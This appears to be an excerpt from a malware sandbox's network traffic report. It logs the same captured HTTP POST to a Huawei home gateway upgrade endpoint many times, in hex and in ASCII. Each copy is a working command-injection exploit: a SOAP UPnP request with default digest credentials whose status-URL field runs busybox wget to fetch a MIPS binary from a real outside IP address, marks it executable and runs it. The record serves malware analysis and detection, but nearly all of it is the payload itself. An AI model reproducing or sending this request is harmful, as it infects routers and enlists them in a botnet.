2e 75 6e 73 74 61 62 6c 65 3b 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 68 75 61 77 65 69 2e 65 78 70 6c 6f 69 74 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.66.36 -l /tmp/.unstable -r /h0r0zx00xh0r0zx00xdefault/h0r0zx00x.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 36 36 2e 33 36 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 68 30 72 30 7a 78 30 30 78 68 30 72 30 7a 78 30 30 78 64 65 66 61 75 6c 74 2f 68 30 72 30 7a 78 30 30 78 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 3b 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 68 75 61 77 65 69 2e 65 78 70 6c 6f 69 74 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.66.36 -l /tmp/.unstable -r /h0r0zx00xh0r0zx00xdefault/h0r0zx00x.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 36 36 2e 33 36 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 68 30 72 30 7a 78 30 30 78 68 30 72 30 7a 78 30 30 78 64 65 66 61 75 6c 74 2f 68 30 72 30 7a 78 30 30 78 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 3b 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 68 75 61 77 65 69 2e 65 78 70 6c 6f 69 74 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.66.36 -l /tmp/.unstable -r /h0r0zx00xh0r0zx00xdefault/h0r0zx00x.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 36 36 2e 33 36 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 68 30 72 30 7a 78 30 30 78 68 30 72 30 7a 78 30 30 78 64 65 66 61 75 6c 74 2f 68 30 72 30 7a 78 30 30 78 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 3b 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 68 75 61 77 65 69 2e 65 78 70 6c 6f 69 74 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.66.36 -l /tmp/.unstable -r /h0r0zx00xh0r0zx00xdefault/h0r0zx00x.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 36 36 2e 33 36 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 68 30 72 30 7a 78 30 30 78 68 30 72 30 7a 78 30 30 78 64 65 66 61 75 6c 74 2f 68 30 72 30 7a 78 30 30 78 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 3b 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 68 75 61 77 65 69 2e 65 78 70 6c 6f 69 74 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.66.36 -l /tmp/.unstable -r /h0r0zx00xh0r0zx00xdefault/h0r0zx00x.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 36 36 2e 33 36 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 68 30 72 30 7a 78 30 30 78 68 30 72 30 7a 78 30 30 78 64 65 66 61 75 6c 74 2f 68 30 72 30 7a 78 30 30 78 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 3b 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 68 75 61 77 65 69 2e 65 78 70 6c 6f 69 74 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.66.36 -l /tmp/.unstable -r /h0r0zx00xh0r0zx00xdefault/h0r0zx00x.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 36 36 2e 33 36 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 68 30 72 30 7a 78 30 30 78 68 30 72 30 7a 78 30 30 78 64 65 66 61 75 6c 74 2f 68 30 72 30 7a 78 30 30 78 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 3b 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 68 75 61 77 65 69 2e 65 78 70 6c 6f 69 74 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.66.36 -l /tmp/.unstable -r /h0r0zx00xh0r0zx00xdefault/h0r0zx00x.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 36 36 2e 33 36 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 68 30 72 30 7a 78 30 30 78 68 30 72 30 7a 78 30 30 78 64 65 66 61 75 6c 74 2f 68 30 72 30 7a 78 30 30 78 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 3b 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 68 75 61 77 65 69 2e 65 78 70 6c 6f 69 74 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.66.36 -l /tmp/.unstable -r /h0r0zx00xh0r0zx00xdefault/h0r0zx00x.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 36 36 2e 33 36 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 68 30 72 30 7a 78 30 30 78 68 30 72 30 7a 78 30 30 78 64 65 66 61 75 6c 74 2f 68 30 72 30 7a 78 30 30 78 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 3b 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 68 75 61 77 65 69 2e 65 78 70 6c 6f 69 74 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.66.36 -l /tmp/.unstable -r /h0r0zx00xh0r0zx00xdefault/h0r0zx00x.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
